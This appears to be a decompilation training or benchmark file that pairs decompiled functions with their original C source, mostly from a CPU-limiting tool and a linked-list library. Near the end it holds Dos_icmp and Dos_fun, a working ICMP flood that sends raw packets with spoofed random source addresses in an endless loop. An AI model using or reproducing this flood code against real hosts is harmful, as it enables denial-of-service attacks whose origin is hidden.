    exe = optarg;
    exe_ok = 1;
    break;
   case 'l':
    perclimit = atoi(optarg);
    limit_ok = 1;
    break;
   case 'v':
    verbose = 1;
    break;
   case 'z':
    lazy = 1;
    break;
   case 'i':
    ignore_children = 1;
    break;
   case 'h':
    print_usage(stdout, 1);
    break;
   case '?':
    print_usage(stderr, 1);
    break;
   case -1:
    break;
   default:
    abort();
  }
 } while(next_option != -1);
 if (pid_ok && (pid<=1 || pid>=65536)) {
  fprintf(stderr,"Error: Invalid value for argument PID\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (pid!=0) {
  lazy = 1;
 }
 if (!limit_ok) {
  fprintf(stderr,"Error: You must specify a cpu limit percentage\n");
  print_usage(stderr, 1);
  exit(1);
 }
 double limit = perclimit/100.0;
 if (limit<0 || limit >NCPU) {
  fprintf(stderr,"Error: limit must be in the range 0-%d00\n", NCPU);
  print_usage(stderr, 1);
  exit(1);
 }
 int command_mode = optind<argc;
 if (exe_ok + pid_ok + command_mode == 0) {
  fprintf(stderr,"Error: You must specify one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 if (exe_ok + pid_ok + command_mode > 1) {
  fprintf(stderr,"Error: You must specify exactly one target process, either by name, pid, or command line\n");
  print_usage(stderr, 1);
  exit(1);
 }
 signal(2, quit);
 signal(15, quit);
 if (verbose) printf("%d cpu detected\n", NCPU);
 if (!check_proc()) {
  fprintf(stderr, "procfs is not mounted!\nAborting\n");
  exit(-2);
 }
 if (command_mode) {
  int i;
  char *cmd = argv[optind];
  char **cmd_args = (char**)malloc((argc-optind+1)*sizeof(char*));
  if (cmd_args==((void *)0)) exit(2);
  for (i=0; i<argc-optind; i++) {
   cmd_args[i] = argv[i+optind];
  }
  cmd_args[i] = ((void *)0);
  if (verbose) {
   printf("Running command: '%s", cmd);
   for (i=1; i<argc-optind; i++) {
    printf(" %s", cmd_args[i]);
   }
   printf("'\n");
  }
  int child = fork();
  if (child < 0) {
   exit(1);
  }
  else if (child > 0) {
   int limiter = fork();
   if (limiter < 0) {
    exit(1);
   }
   else if (limiter > 0) {
    int status_process;
    int status_limiter;
    waitpid(child, &status_process, 0);
    waitpid(limiter, &status_limiter, 0);
    if ((((status_process) & 0x7f) == 0)) {
     if (verbose) printf("Process %d terminated with exit status %d\n", child, (int)(((status_process) & 0xff00) >> 8));
     exit((((status_process) & 0xff00) >> 8));
    }
    printf("Process %d terminated abnormally\n", child);
    exit(status_process);
   }
   else {
    if (verbose) printf("Limiting process %d\n",child);
    limit_process(child, limit, ignore_children);
    exit(0);
   }
  }
  else {
   int ret = execvp(cmd, cmd_args);
   perror("Error");
   exit(ret);
  }
 }
 while(1) {
  int ret = 0;
  if (pid_ok) {
   ret = look_for_process_by_pid(pid);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
  }
  else {
   ret = look_for_process_by_name(exe);
   if (ret == 0) {
    printf("No process found\n");
   }
   else if (ret < 0) {
    printf("Process found but you aren't allowed to control it\n");
   }
   else {
    pid = ret;
   }
  }
  if (ret > 0) {
   if (ret == cpulimit_pid) {
    printf("Process %d is cpulimit itself! Aborting to avoid deadlock\n", ret);
    exit(1);
   }
   printf("Process %d found\n", pid);
   limit_process(pid, limit, ignore_children);
  }
  if (lazy) break;
  sleep(2);
 };
 exit(0);
}

variable_types: argc int

variable_types:
argv
char **

variable_types:
exe
char *

variable_types: perclimit int

variable_types:
p
char *

variable_types: struct option { char *name; int has_arg; int *flag; int val; } []

variable_types: i int

variable_types:
cmd
char *

variable_types: child int

variable_types: limiter int

variable_types: ret int


decompiled_code:
__int64 __fastcall get_starttime(unsigned int a1)
{
FILE *v1; // rax
FILE *v2; // rbx
__int64 v4; // [rsp+8h] [rbp-30h] BYREF
char s[40]; // [rsp+10h] [rbp-28h] BYREF

snprintf(s, 0x14uLL, "/proc/%d/stat", a1);
v1 = get_proc_stat_field(s, 21);
if ( !v1 )
return -1LL;
v2 = v1;
v4 = 0LL;
_isoc99_sscanf(v1, "%llu", &v4);
free(v2);
return v4;
}

canonical_decompiled_code:
__int64 __fastcall func1(unsigned int a1)
{
FILE *v1; // rax
FILE *v2; // rbx
__int64 v4; // [rsp+8h] [rbp-30h] BYREF
char s[40]; // [rsp+10h] [rbp-28h] BYREF

snprintf(s, 0x14uLL, "/proc/%d/stat", a1);
v1 = get_proc_stat_field(s, 21);
if ( !v1 )
return -1LL;
v2 = v1;
v4 = 0LL;
_isoc99_sscanf(v1, "%llu", &v4);
free(v2);
return v4;
}

original_code:
static unsigned long long get_starttime(pid_t pid)
{
 char file[20];
 snprintf(file, sizeof(file), "/proc/%d/stat", pid);
    char *tbuf = get_proc_stat_field(file, 21);
    if (tbuf == ((void *)0))
        return -1;
    unsigned long long starttime = 0;
    sscanf(tbuf, "%llu", &starttime);
    free(tbuf);
 return starttime;
}

canonical_original_code:
static unsigned long long get_starttime(int pid)
{
 char file[20];
 snprintf(file, sizeof(file), "/proc/%d/stat", pid);
    char *tbuf = get_proc_stat_field(file, 21);
    if (tbuf == ((void *)0))
        return -1;
    unsigned long long starttime = 0;
    sscanf(tbuf, "%llu", &starttime);
    free(tbuf);
 return starttime;
}

variable_types: pid int

variable_types:
file
char [20]

variable_types:
tbuf
char *

variable_types:
starttime
unsigned long long

return_type: unsigned long long


decompiled_code:
__int64 __fastcall get_jiffies(__int64 a1)
{
FILE *v1; // rax
FILE *v2; // rbx
FILE *v3; // rax
FILE *v4; // rbx
__int64 v6; // [rsp+0h] [rbp-28h] BYREF
__int64 v7; // [rsp+8h] [rbp-20h] BYREF

v1 = get_proc_stat_field((const char *)(a1 + 4149), 13);
if ( !v1 )
return 0xFFFFFFFFLL;
v2 = v1;
v7 = 0LL;
_isoc99_sscanf(v1, "%lu", &v7);
free(v2);
v3 = get_proc_stat_field((const char *)(a1 + 4149), 14);
v4 = v3;
if ( !v3 )
return 0xFFFFFFFFLL;
v6 = 0LL;
_isoc99_sscanf(v3, "%lu", &v6);
free(v4);
return (unsigned int)(v7 + v6);
}

canonical_decompiled_code:
__int64 __fastcall func2(__int64 a1)
{
FILE *v1; // rax
FILE *v2; // rbx
FILE *v3; // rax
FILE *v4; // rbx
__int64 v6; // [rsp+0h] [rbp-28h] BYREF
__int64 v7; // [rsp+8h] [rbp-20h] BYREF

v1 = get_proc_stat_field((const char *)(a1 + 4149), 13);
if ( !v1 )
return 0xFFFFFFFFLL;
v2 = v1;
v7 = 0LL;
_isoc99_sscanf(v1, "%lu", &v7);
free(v2);
v3 = get_proc_stat_field((const char *)(a1 + 4149), 14);
v4 = v3;
if ( !v3 )
return 0xFFFFFFFFLL;
v6 = 0LL;
_isoc99_sscanf(v3, "%lu", &v6);
free(v4);
return (unsigned int)(v7 + v6);
}

original_code:
static int get_jiffies(struct process *proc) {
    char *tbuf = get_proc_stat_field(proc->stat_file, 13);
    if (tbuf==((void *)0))
        return -1;
    unsigned long utime = 0;
    sscanf(tbuf, "%lu", &utime);
    free(tbuf);
    tbuf = get_proc_stat_field(proc->stat_file, 14);
    if (tbuf==((void *)0))
        return -1;
    unsigned long stime = 0;
    sscanf(tbuf, "%lu", &stime);
    free(tbuf);
 return utime+stime;
}

variable_types: struct process { int pid; int ppid; int starttime; int member; int last_jiffies; struct timeval { long tv_sec; long tv_usec; } last_sample; double cpu_usage; int is_zombie; char command[-1]; char stat_file[20]; char buffer[1024]; } *

variable_types:
utime
unsigned long

variable_types:
stime
unsigned long


decompiled_code:
__int64 get_proc_info()
{
return 0LL;
}

canonical_decompiled_code:
__int64 func3()
{
return 0LL;
}

original_code:
int get_proc_info(struct process *p, pid_t pid) {
 return 0;
}

canonical_original_code:
int get_proc_info(struct process *p, int pid) {
 return 0;
}

user_defined_types: struct timeval { long tv_sec; long tv_usec; }


decompiled_code:
__int64 process_update()
{
return 0LL;
}

canonical_decompiled_code:
__int64 func4()
{
return 0LL;
}

original_code:
int process_update(struct process *proc) {
 return 0;
}


original_code:
int process_init(struct process *proc, int pid)
{
 proc->pid = pid;
 proc->starttime = get_starttime(pid);
    if (proc->starttime == -1)
        return -1;
 proc->cpu_usage = 0;
 memset(&(proc->last_sample), 0, sizeof(struct timeval));
 proc->last_jiffies = -1;
    proc->is_zombie = 0;
 snprintf(proc->stat_file, sizeof(proc->stat_file), "/proc/%d/stat", pid);
 return 0;
}


decompiled_code:
__int64 __fastcall process_monitor(__int64 a1)
{
int v1; // eax
int v2; // ebp
int v3; // er12
double v4; // xmm0_8
double v5; // xmm1_8
__int64 result; // rax
struct timeval v7; // [rsp+0h] [rbp-28h] BYREF

v1 = get_jiffies(a1);
if ( v1 < 0 )
return 0xFFFFFFFFLL;
v2 = v1;
gettimeofday(&v7, 0LL);
if ( *(_DWORD *)(a1 + 16) == -1 )
{
*(struct timeval *)(a1 + 24) = v7;
*(_DWORD *)(a1 + 16) = v2;
*(_QWORD *)(a1 + 40) = LC9;
result = 0LL;
}
else
{
v3 = timediff(&v7, (_QWORD *)(a1 + 24));
v4 = (double)(v2 - *(_DWORD *)(a1 + 16)) / ((double)v3 * (double)(int)sysconf(2) / 1000000.0);
v5 = *(double *)(a1 + 40);
if ( v5 != -1.0 )
v4 = v4 * 0.08 + v5 * 0.92;
*(double *)(a1 + 40) = v4;
*(struct timeval *)(a1 + 24) = v7;
*(_DWORD *)(a1 + 16) = v2;
result = 0LL;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func6(__int64 a1)
{
int v1; // eax
int v2; // ebp
int v3; // er12
double v4; // xmm0_8
double v5; // xmm1_8
__int64 result; // rax
struct timeval v7; // [rsp+0h] [rbp-28h] BYREF

v1 = func2(a1);
if ( v1 < 0 )
return 0xFFFFFFFFLL;
v2 = v1;
gettimeofday(&v7, 0LL);
if ( *(_DWORD *)(a1 + 16) == -1 )
{
*(struct timeval *)(a1 + 24) = v7;
*(_DWORD *)(a1 + 16) = v2;
*(_QWORD *)(a1 + 40) = LC9;
result = 0LL;
}
else
{
v3 = func0(&v7, (_QWORD *)(a1 + 24));
v4 = (double)(v2 - *(_DWORD *)(a1 + 16)) / ((double)v3 * (double)(int)sysconf(2) / 1000000.0);
v5 = *(double *)(a1 + 40);
if ( v5 != -1.0 )
v4 = v4 * 0.08 + v5 * 0.92;
*(double *)(a1 + 40) = v4;
*(struct timeval *)(a1 + 24) = v7;
*(_DWORD *)(a1 + 16) = v2;
result = 0LL;
}
return result;
}

original_code:
int process_monitor(struct process *proc)
{
 int j = get_jiffies(proc);
 if (j<0) return -1;
 struct timeval now;
 gettimeofday(&now, ((void *)0));
 if (proc->last_jiffies==-1) {
  proc->last_sample.tv_sec = now.tv_sec;
  proc->last_sample.tv_usec = now.tv_usec;
  proc->last_jiffies = j;
  proc->cpu_usage = -1;
  return 0;
 }
 long dt = timediff(&now, &(proc->last_sample));
 double max_jiffies = dt * ((double)sysconf(_SC_CLK_TCK)) / 1000000.0;
 double sample = (j - proc->last_jiffies) / max_jiffies;
 if (proc->cpu_usage == -1) {
  proc->cpu_usage = sample;
 }
 else {
  proc->cpu_usage = (1-0.08) * proc->cpu_usage + 0.08 * sample;
 }
 proc->last_sample.tv_sec = now.tv_sec;
 proc->last_sample.tv_usec = now.tv_usec;
 proc->last_jiffies = j;
 return 0;
}

variable_types: j int

variable_types: struct timeval { long tv_sec; long tv_usec; }

variable_types: dt long

variable_types: sample double


decompiled_code:
__int64 __fastcall process_close(__pid_t *a1)
{
if ( kill(*a1, 18) )
fprintf(stderr, "Process %d is already dead!\n", (unsigned int)*a1);
*a1 = 0;
return 0LL;
}

canonical_decompiled_code:
__int64 __fastcall func7(__pid_t *a1)
{
if ( kill(*a1, 18) )
fprintf(stderr, "Process %d is already dead!\n", (unsigned int)*a1);
*a1 = 0;
return 0LL;
}

original_code:
int process_close(struct process *proc)
{
 if (kill(proc->pid,18)!=0) {
  fprintf(stderr,"Process %d is already dead!\n", proc->pid);
 }
 proc->pid = 0;
 return 0;
}


original_code:
void init_list(struct list *l,int keysize) {
 l->first=l->last=((void *)0);
 l->keysize=keysize;
 l->count=0;
}

canonical_original_code:
void init_list(struct list *l, int keysize) {
 l->first=l->last=((void *)0);
 l->keysize=keysize;
 l->count=0;
}

variable_types: struct list { struct list_node { void *data; struct list_node *previous; struct list_node *next; } *first; struct list_node *last; int keysize; int count; } *

variable_types: keysize int

user_defined_types: struct list { struct list_node *first; struct list_node *last; int keysize; int count; }


original_code:
void delete_node(struct list *l,struct list_node *node) {
 if (l->count==1) {
  l->first=l->last=((void *)0);
 }
 else if (node==l->first) {
  node->next->previous=((void *)0);
  l->first=node->next;
 }
 else if (node==l->last) {
  node->previous->next=((void *)0);
  l->last=node->previous;
 }
 else {
  node->previous->next=node->next;
  node->next->previous=node->previous;
 }
 l->count--;
 free(node);
 node = ((void *)0);
}

canonical_original_code:
void delete_node(struct list *l, struct list_node *node) {
 if (l->count==1) {
  l->first=l->last=((void *)0);
 }
 else if (node==l->first) {
  node->next->previous=((void *)0);
  l->first=node->next;
 }
 else if (node==l->last) {
  node->previous->next=((void *)0);
  l->last=node->previous;
 }
 else {
  node->previous->next=node->next;
  node->next->previous=node->previous;
 }
 l->count--;
 free(node);
 node = ((void *)0);
}

variable_types:
node
struct list_node *


decompiled_code:
void __fastcall destroy_node(__int64 a1, void **a2)
{
free(*a2);
*a2 = 0LL;
delete_node(a1, a2);
}

canonical_decompiled_code:
void __fastcall func2(__int64 a1, void **a2)
{
free(*a2);
*a2 = 0LL;
func1(a1, a2);
}

original_code:
void destroy_node(struct list *l,struct list_node *node) {
 free(node->data);
 node->data=((void *)0);
 delete_node(l,node);
}

canonical_original_code:
void destroy_node(struct list *l, struct list_node *node) {
 free(node->data);
 node->data=((void *)0);
 delete_node(l,node);
}


decompiled_code:
_BOOL8 __fastcall is_EMPTYLIST_list(__int64 a1)
{
return *(_DWORD *)(a1 + 20) == 0;
}

canonical_decompiled_code:
_BOOL8 __fastcall func3(__int64 a1)
{
return *(_DWORD *)(a1 + 20) == 0;
}

original_code:
int is_EMPTYLIST_list(struct list *l) {
 return (l->count==0?1:0);
}


decompiled_code:
__int64 __fastcall get_list_count(__int64 a1)
{
return *(unsigned int *)(a1 + 20);
}

canonical_decompiled_code:
__int64 __fastcall func4(__int64 a1)
{
return *(unsigned int *)(a1 + 20);
}

original_code:
int get_list_count(struct list *l) {
 return l->count;
}


decompiled_code:
__int64 __fastcall first_elem(__int64 a1)
{
return **(_QWORD **)a1;
}

canonical_decompiled_code:
__int64 __fastcall func5(__int64 a1)
{
return **(_QWORD **)a1;
}

original_code:
void *first_elem(struct list *l) {
 return l->first->data;
}

return_type: void *


decompiled_code:
__int64 __fastcall first_node(__int64 a1)
{
return *(_QWORD *)a1;
}

canonical_decompiled_code:
__int64 __fastcall func6(__int64 a1)
{
return *(_QWORD *)a1;
}

original_code:
struct list_node *first_node(struct list *l) {
 return l->first;
}

variable_types: struct list { struct list_node *first; struct list_node *last; int keysize; int count; } *

return_type: struct list_node { void *data; struct list_node *previous; struct list_node *next; } *


decompiled_code:
__int64 __fastcall last_elem(__int64 a1)
{
return **(_QWORD **)(a1 + 8);
}

canonical_decompiled_code:
__int64 __fastcall func7(__int64 a1)
{
return **(_QWORD **)(a1 + 8);
}

original_code:
void *last_elem(struct list *l) {
 return l->last->data;
}


decompiled_code:
__int64 __fastcall last_node(__int64 a1)
{
return *(_QWORD *)(a1 + 8);
}

canonical_decompiled_code:
__int64 __fastcall func8(__int64 a1)
{
return *(_QWORD *)(a1 + 8);
}

original_code:
struct list_node *last_node(struct list *l) {
 return l->last;
}


original_code:
void flush_list(struct list *l) {
 struct list_node *tmp;
 while(l->first!=((void *)0)) {
  tmp=l->first;
  l->first=l->first->next;
  free(tmp);
  tmp=((void *)0);
 }
 l->last=((void *)0);
 l->count=0;
}

variable_types: struct list_node { void *data; struct list_node *previous; struct list_node *next; } *


original_code:
void destroy_list(struct list *l) {
 struct list_node *tmp;
 while(l->first!=((void *)0)) {
  tmp=l->first;
  l->first=l->first->next;
  free(tmp->data);
  tmp->data=((void *)0);
  free(tmp);
  tmp=((void *)0);
 }
 l->last=((void *)0);
 l->count=0;
}


decompiled_code:
__int64 __fastcall seek_process(__int64 a1, int a2)
{
__int64 result; // rax
int v3[3]; // [rsp+Ch] [rbp-Ch] BYREF

v3[0] = a2;
result = *(_QWORD *)(a1 + 8LL * (((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF) + 32);
if ( result )
result = locate_elem(result, v3);
return result;
}

canonical_decompiled_code:
__int64 __fastcall func2(__int64 a1, int a2)
{
__int64 result; // rax
int v3[3]; // [rsp+Ch] [rbp-Ch] BYREF

v3[0] = a2;
result = *(_QWORD *)(a1 + 8LL * (((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF) + 32);
if ( result )
result = locate_elem(result, v3);
return result;
}

original_code:
static struct process *seek_process(struct process_family *f, pid_t pid)
{
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 return (*l != ((void *)0)) ? (struct process*)locate_elem(*l, &pid) : ((void *)0);
}

canonical_original_code:
static struct process *seek_process(struct process_family *f, int pid)
{
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 return (*l != ((void *)0)) ? (struct process *)locate_elem(*l, &pid) : ((void *)0);
}

variable_types: struct process_family { int father; struct list { struct list_node { void *data; struct list_node *previous; struct list_node *next; } *first; struct list_node *last; int keysize; int count; } members; struct list *proctable[1024]; int count; } *

variable_types: struct list { struct list_node { void *data; struct list_node *previous; struct list_node *next; } *first; struct list_node *last; int keysize; int count; } **

return_type: struct process { int pid; int ppid; int starttime; int member; int last_jiffies; struct timeval { long tv_sec; long tv_usec; } last_sample; double cpu_usage; int is_zombie; char command[-1]; char stat_file[20]; char buffer[1024]; } *

user_defined_types: struct process_family { int father; struct list members; struct list *proctable[1024]; int count; }


decompiled_code:
_BOOL8 __fastcall process_exists(unsigned int a1)
{
struct stat v2; // [rsp+0h] [rbp-B8h] BYREF
char s[40]; // [rsp+90h] [rbp-28h] BYREF

snprintf(s, 0x14uLL, "/proc/%d", a1);
return stat(s, &v2) == 0;
}

canonical_decompiled_code:
_BOOL8 __fastcall func4(unsigned int a1)
{
struct stat v2; // [rsp+0h] [rbp-B8h] BYREF
char s[40]; // [rsp+90h] [rbp-28h] BYREF

snprintf(s, 0x14uLL, "/proc/%d", a1);
return stat(s, &v2) == 0;
}

original_code:
static int process_exists(pid_t pid) {
 char procdir[20];
 struct stat procstat;
 snprintf(procdir, sizeof(procdir), "/proc/%d", pid);
 return stat(procdir, &procstat)==0;
}

canonical_original_code:
static int process_exists(int pid) {
 char procdir[20];
 struct stat procstat;
 snprintf(procdir, sizeof(procdir), "/proc/%d", pid);
 return stat(procdir, &procstat)==0;
}

variable_types: pid int

variable_types:
procdir
char [20]

variable_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }

user_defined_types: struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }


decompiled_code:
__int64 __fastcall unhash_process(__int64 a1, int a2)
{
__int64 result; // rax
__int64 v4; // rdi
int v5[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v5[0] = a2;
result = ((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF;
v4 = *(_QWORD *)(a1 + 8 * result + 32);
if ( v4 )
{
result = locate_node(v4, v5);
if ( result )
result = destroy_node(
*(_QWORD *)(a1 + 8LL * (((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF) + 32),
result);
--*(_DWORD *)(a1 + 8224);
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func5(__int64 a1, int a2)
{
__int64 result; // rax
__int64 v4; // rdi
int v5[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v5[0] = a2;
result = ((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF;
v4 = *(_QWORD *)(a1 + 8 * result + 32);
if ( v4 )
{
result = locate_node(v4, v5);
if ( result )
result = destroy_node(
*(_QWORD *)(a1 + 8LL * (((unsigned __int16)a2 ^ (unsigned __int16)(a2 >> 8)) & 0x3FF) + 32),
result);
--*(_DWORD *)(a1 + 8224);
}
return result;
}

original_code:
static void unhash_process(struct process_family *f, pid_t pid) {
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 if (*l == ((void *)0))
  return;
 struct list_node *node = locate_node(*l, &pid);
 if (node != ((void *)0))
  destroy_node(*l, node);
 f->count--;
}

canonical_original_code:
static void unhash_process(struct process_family *f, int pid) {
 struct list **l = &(f->proctable[((((pid) >> 8) ^ (pid)) & (1024 - 1))]);
 if (*l == ((void *)0))
  return;
 struct list_node *node = locate_node(*l, &pid);
 if (node != ((void *)0))
  destroy_node(*l, node);
 f->count--;
}


decompiled_code:
__int64 __fastcall remove_process_from_family(__int64 a1, int a2)
{
__int64 v2; // rax
int v4[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v4[0] = a2;
v2 = locate_node(a1 + 8, v4);
if ( v2 )
delete_node(a1 + 8, v2);
return unhash_process(a1, v4[0]);
}

canonical_decompiled_code:
__int64 __fastcall func9(__int64 a1, int a2)
{
__int64 v2; // rax
int v4[7]; // [rsp+Ch] [rbp-1Ch] BYREF

v4[0] = a2;
v2 = locate_node(a1 + 8, v4);
if ( v2 )
delete_node(a1 + 8, v2);
return func5(a1, v4[0]);
}

original_code:
void remove_process_from_family(struct process_family *f, pid_t pid)
{
 struct list_node *node = locate_node(&(f->members), &pid);
 if (node != ((void *)0)) {
  delete_node(&(f->members), node);
 }
 unhash_process(f, pid);
}

canonical_original_code:
void remove_process_from_family(struct process_family *f, int pid)
{
 struct list_node *node = locate_node(&(f->members), &pid);
 if (node != ((void *)0)) {
  delete_node(&(f->members), node);
 }
 unhash_process(f, pid);
}


decompiled_code:
__int64 __fastcall look_for_process_by_pid(__pid_t pid)
{
__int64 result; // rax
int v2; // edx

result = process_exists(pid);
if ( (_DWORD)result )
{
v2 = kill(pid, 0);
result = (unsigned int)-pid;
if ( !v2 )
result = (unsigned int)pid;
}
return result;
}

canonical_decompiled_code:
__int64 __fastcall func12(__pid_t pid)
{
__int64 result; // rax
int v2; // edx

result = func4(pid);
if ( (_DWORD)result )
{
v2 = kill(pid, 0);
result = (unsigned int)-pid;
if ( !v2 )
result = (unsigned int)pid;
}
return result;
}

original_code:
int look_for_process_by_pid(pid_t pid)
{
 if (process_exists(pid))
  return (kill(pid,0)==0) ? pid : -pid;
 return 0;
}

canonical_original_code:
int look_for_process_by_pid(int pid)
{
 if (process_exists(pid))
  return (kill(pid,0)==0) ? pid : -pid;
 return 0;
}


decompiled_code:
__int64 ip_random()
{
unsigned int v0; // eax

v0 = time(0LL);
srand(v0);
return random();
}

canonical_decompiled_code:
__int64 func7()
{
unsigned int v0; // eax

v0 = time(0LL);
srand(v0);
return random();
}

original_code:
static long int ip_random(void)
{
 long int random_ip;
 srand(time(0));
 random_ip = random();
 return random_ip;
}

canonical_original_code:
static long ip_random()
{
 long random_ip;
 srand(time(0));
 random_ip = random();
 return random_ip;
}

return_type: long


original_code:
static void Dos_icmp(void)
{
 struct sockaddr_in to;
 struct in_addr addr_temp;
 struct ip *iph;
 struct icmp *icmph;
 char *packet;
 int pktsize = sizeof(struct ip) + sizeof(struct icmp) +64;
 packet = malloc(pktsize);
 iph = (struct ip *)packet;
 icmph = (struct icmp *)(packet + sizeof(struct ip));
 memset(packet, 0, pktsize);
 iph->ip_v = 4;
 iph->ip_hl = 5;
 iph->ip_tos = 0;
 iph->ip_len = htons(pktsize);
 iph->ip_id = htons(getpid());
 iph->ip_off = 0;
 iph->ip_ttl = 0x0;
 iph->ip_p = IPPROTO_ICMP;
 iph->ip_sum = 0;
 addr_temp.s_addr = ip_random();
 iph->ip_src = addr_temp;
 addr_temp.s_addr = dest;
 iph->ip_dst = addr_temp;
 icmph->icmp_type = 8;
 icmph->icmp_code = 0;
 icmph->icmp_cksum = htons(~(8 << 8));
 to.sin_family = 2;
 to.sin_addr.s_addr = iph->ip_dst.s_addr;
 to.sin_port = htons(0);
 sendto(rawsock, packet, pktsize, 0, (struct sockaddr *)&to, sizeof(struct sockaddr));
 free(packet);
}

canonical_original_code:
static void Dos_icmp()
{
 struct sockaddr_in to;
 struct in_addr addr_temp;
 struct ip *iph;
 struct icmp *icmph;
 char *packet;
 int pktsize = sizeof(struct ip) + sizeof(struct icmp) +64;
 packet = malloc(pktsize);
 iph = (struct ip *)packet;
 icmph = (struct icmp *)(packet + sizeof(struct ip));
 memset(packet, 0, pktsize);
 iph->ip_v = 4;
 iph->ip_hl = 5;
 iph->ip_tos = 0;
 iph->ip_len = htons(pktsize);
 iph->ip_id = htons(getpid());
 iph->ip_off = 0;
 iph->ip_ttl = 0x0;
 iph->ip_p = IPPROTO_ICMP;
 iph->ip_sum = 0;
 addr_temp.s_addr = ip_random();
 iph->ip_src = addr_temp;
 addr_temp.s_addr = dest;
 iph->ip_dst = addr_temp;
 icmph->icmp_type = 8;
 icmph->icmp_code = 0;
 icmph->icmp_cksum = htons(~(8 << 8));
 to.sin_family = 2;
 to.sin_addr.s_addr = iph->ip_dst.s_addr;
 to.sin_port = htons(0);
 sendto(rawsock, packet, pktsize, 0, (struct sockaddr *)&to, sizeof(struct sockaddr));
 free(packet);
}

variable_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }

variable_types: struct ip { unsigned int ip_hl; unsigned int ip_v; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; struct in_addr { unsigned int s_addr; } ip_src; } *

variable_types: struct icmp { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_cksum; union { unsigned char ih_pptr; struct in_addr { unsigned int s_addr; } ih_gwaddr; struct ih_idseq { unsigned short icd_id; unsigned short icd_seq; } ih_idseq; unsigned int ih_void; struct ih_pmtu { unsigned short ipm_void; unsigned short ipm_nextmtu; } ih_pmtu; struct ih_rtradv { unsigned char irt_num_addrs; unsigned char irt_wpa; unsigned short irt_lifetime; } ih_rtradv; } icmp_hun; union { struct { unsigned int its_otime; unsigned int its_rtime; unsigned int its_ttime; } id_ts; struct { struct ip { unsigned int ip_hl; unsigned int ip_v; unsigned char ip_tos; unsigned short ip_len; unsigned short ip_id; unsigned short ip_off; unsigned char ip_ttl; unsigned char ip_p; unsigned short ip_sum; struct in_addr ip_src; } idi_ip; } id_ip; struct icmp_ra_addr { unsigned int ira_addr; unsigned int ira_preference; } id_radv; unsigned int id_mask; unsigned char id_data[1]; } icmp_dun; } *

variable_types:
packet
char *

variable_types: pktsize int

user_defined_types: struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }

user_defined_types: struct sockaddr { unsigned short sa_family; char sa_data[14]; }

user_defined_types: struct icmp { unsigned char icmp_type; unsigned char icmp_code; unsigned short icmp_cksum; union { unsigned char ih_pptr; struct in_addr ih_gwaddr; struct ih_idseq ih_idseq; unsigned int ih_void; struct ih_pmtu ih_pmtu; struct ih_rtradv ih_rtradv; } icmp_hun; union { struct { unsigned int its_otime; unsigned int its_rtime; unsigned int its_ttime; } id_ts; struct { struct ip idi_ip; } id_ip; struct icmp_ra_addr id_radv; unsigned int id_mask; unsigned char id_data[1]; } icmp_dun; }


decompiled_code:
void __fastcall Dos_fun(void *a1)
{
while ( alive )
Dos_icmp();
}

canonical_decompiled_code:
void __fastcall func10(void *a1)
{
while ( alive )
func9();
}

original_code:
static void *
Dos_fun(void *arg)
{
 while(alive)
 {
     Dos_icmp();
 }
}

canonical_original_code:
static void *Dos_fun(void *arg)
{
 while(alive)
 {
     Dos_icmp();
 }
}

variable_types:
arg
void *


original_code:
int32_t icmp_cksum(void *data, int length)
{
 int left = length;
 uint16_t *wd = (uint16_t *)data;
 int sum = 0;
 uint16_t temp;
 while(left > 1)
 {
  sum += *wd++;
  left -= 2;
 }
 if(left == 1)
 {
  *((uint8_t *)(&temp)) = *((uint8_t *)wd);
  sum += temp;
 }
 sum = (sum >> 16) + (sum&0xffff);
 sum += (sum >> 16);
 temp = ~sum;
 return temp;
}

canonical_original_code:
int icmp_cksum(void *data, int length)
{
 int left = length;
 unsigned short *wd = (uint16_t *)data;
 int sum = 0;
 unsigned short temp;
 while(left > 1)
 {
  sum += *wd++;
  left -= 2;
 }
 if(left == 1)
 {
  *((unsigned char *)(&temp)) = *((unsigned char *)wd);
  sum += temp;
 }
 sum = (sum >> 16) + (sum&0xffff);
 sum += (sum >> 16);
 temp = ~sum;
 return temp;
}

variable_types:
data
void *

variable_types: length int

variable_types: left int

variable_types:
wd
unsigned short *

variable_types: sum int

variable_types:
temp
unsigned short


decompiled_code:
void __fastcall utility_ctons(__int64 a1, __int64 a2, int a3)
{
__int64 i; // rax

if ( a3 > 0 )
{
for ( i = 0LL; i != a3; ++i )
*(_BYTE *)(a1 + i) = *(_BYTE *)(a2 + i);
}
}

original_code:
